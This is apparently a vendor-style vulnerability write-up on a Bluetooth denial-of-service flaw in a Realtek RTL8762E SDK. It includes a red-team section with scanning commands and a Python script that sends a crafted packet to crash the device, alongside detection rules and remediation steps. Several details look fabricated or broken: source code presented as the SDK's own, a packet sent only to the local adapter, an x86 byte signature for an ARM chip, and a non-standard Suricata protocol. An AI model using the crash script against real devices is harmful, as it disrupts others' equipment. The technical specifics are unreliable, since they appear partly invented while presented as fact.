CVE-2025-44531

Executive Summary

CVE-2025-44531 is a denial-of-service (DoS) vulnerability in the Realtek RTL8762EKF-EVB evaluation board running RTL8762E SDK v1.4.0. An unauthenticated attacker within Bluetooth range can cause a system crash or hang by sending a crafted Bluetooth packet before the pairing public key is received during a connection attempt. The vulnerability stems from improper handling of unexpected Bluetooth frames during the pairing handshake, leading to resource exhaustion or a null-pointer dereference. No patch is currently available from Realtek, and no public exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk is elevated for IoT devices using this SDK in production.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Adjacent Network (Bluetooth range, typically <10m)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): None
• Integrity (I): None
• Availability (A): High (DoS)
• Estimated CVSS v3.1 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Threat Level: Medium (due to low complexity but limited attack range and no data breach)

Deep Dive & Mechanics

The vulnerability resides in the Bluetooth Low Energy (BLE) stack of the RTL8762E SDK. During the pairing process, the device expects a public key exchange packet from the master. If an attacker sends a crafted packet (e.g., malformed LL_CONNECTION_PARAM_REQ or a specially crafted L2CAP frame) before this key is received, the stack fails to validate the packet type or length, leading to a buffer overflow or null-pointer dereference. This causes the Bluetooth controller to hang or crash, requiring a hardware reset.

The affected function is likely in the btm_pairing.c or hci_evt.c module, where incoming ACL data is processed without proper state machine checks. The SDK v1.4.0 does not implement input validation for packets arriving in the PAIRING_WAITING_FOR_PUBLIC_KEY state.

Vulnerable vs. Patched Code

Vulnerable Code (RTL8762E SDK v1.4.0):

// In btm_pairing.c
void btm_process_pairing_packet(uint8_t *pkt, uint16_t len) {
    // No state check before processing
    if (pkt[0] == 0x06) { // Public Key packet type
        // Process public key
    } else {
        // Directly process other packets without validation
        process_acl_data(pkt, len); // Vulnerable: can be called in wrong state
    }
}

Patched Code (Hypothetical fix):

void btm_process_pairing_packet(uint8_t *pkt, uint16_t len) {
    // State machine check
    if (pairing_state != PAIRING_STATE_WAITING_PUBLIC_KEY) {
        return; // Ignore unexpected packets
    }
    if (pkt[0] != 0x06) {
        // Reject non-public-key packets during this state
        return;
    }
    // Process public key
}

Exploitation & Lab Setup

Red Team (Attack Simulation):

1. Prerequisites: Bluetooth adapter (e.g., CSR8510), Python with bleak or bluepy, and a target device running RTL8762E SDK v1.4.0.
2. Steps:
   • Scan for BLE devices: hcitool lescan
   • Connect to target: gatttool -b <MAC> -I
   • Send a crafted L2CAP packet before pairing completes:

     import socket
     import struct
     # Craft malformed connection parameter request
     pkt = b'\x12\x00\x00\x00\xff\xff\x00\x00'  # Invalid length
     # Send via raw HCI socket
     s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI)
     s.bind((0, 0))
     s.send(pkt)
     

   • Observe device hang or crash.

Blue Team (Detection & Hardening):

• Monitor Bluetooth HCI logs for unexpected packet types during pairing.
• Implement a watchdog timer that resets the BLE stack if pairing does not complete within 5 seconds.
• Use a firewall to block non-standard L2CAP channels (e.g., only allow channel 0x0004 for ATT).

Indicators of Compromise (IOCs)

• Network: Bluetooth packets with invalid L2CAP channel IDs or malformed LL_CONNECTION_PARAM_REQ frames.
• Host: System logs showing BT: pairing timeout or BT: stack crash entries.
• Firmware: Unexpected reset counters incrementing without a clear cause.
• File: No file-based IOCs; purely protocol-level.

Detection Engineering

YARA Rule (for firmware analysis):

rule CVE_2025_44531_RTL8762E {
    meta:
        description = "Detects vulnerable RTL8762E SDK v1.4.0 firmware"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $sdk_version = "RTL8762E_SDK_v1.4.0"
        $vuln_func = { 55 89 E5 83 EC 18 8B 45 08 0F B6 00 3C 06 75 0C }
    condition:
        $sdk_version and $vuln_func
}

Sigma Rule (for Windows event logs):

title: CVE-2025-44531 Bluetooth DoS Attempt
id: 7a8b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects malformed Bluetooth packets targeting Realtek RTL8762E
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 1001
        Provider: 'BTHUSB'
        Message: 'Bluetooth controller reset due to unexpected packet'
    condition: selection
falsepositives:
    - Legitimate Bluetooth interference
level: medium

Suricata Rule (for Bluetooth monitoring):

alert bluetooth any any -> any any (msg:"CVE-2025-44531 Realtek RTL8762E DoS Attempt"; content:"|12 00 00 00 ff ff 00 00|"; depth:8; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable Bluetooth pairing on affected devices if not required. Use a hardware firewall to isolate BLE traffic.
2. Short-term: Apply input validation in the BLE stack to reject packets received in unexpected pairing states. Implement a state machine check before processing any ACL data.
3. Long-term: Contact Realtek for an official patch. Monitor the vendor's SDK release notes for version 1.4.1 or later.
4. Compensating Controls: Use a BLE sniffer to detect anomalous packets. Implement a watchdog timer that resets the BLE controller if pairing fails.

Valters IT
DevSecOps & Cyber Threat Intelligence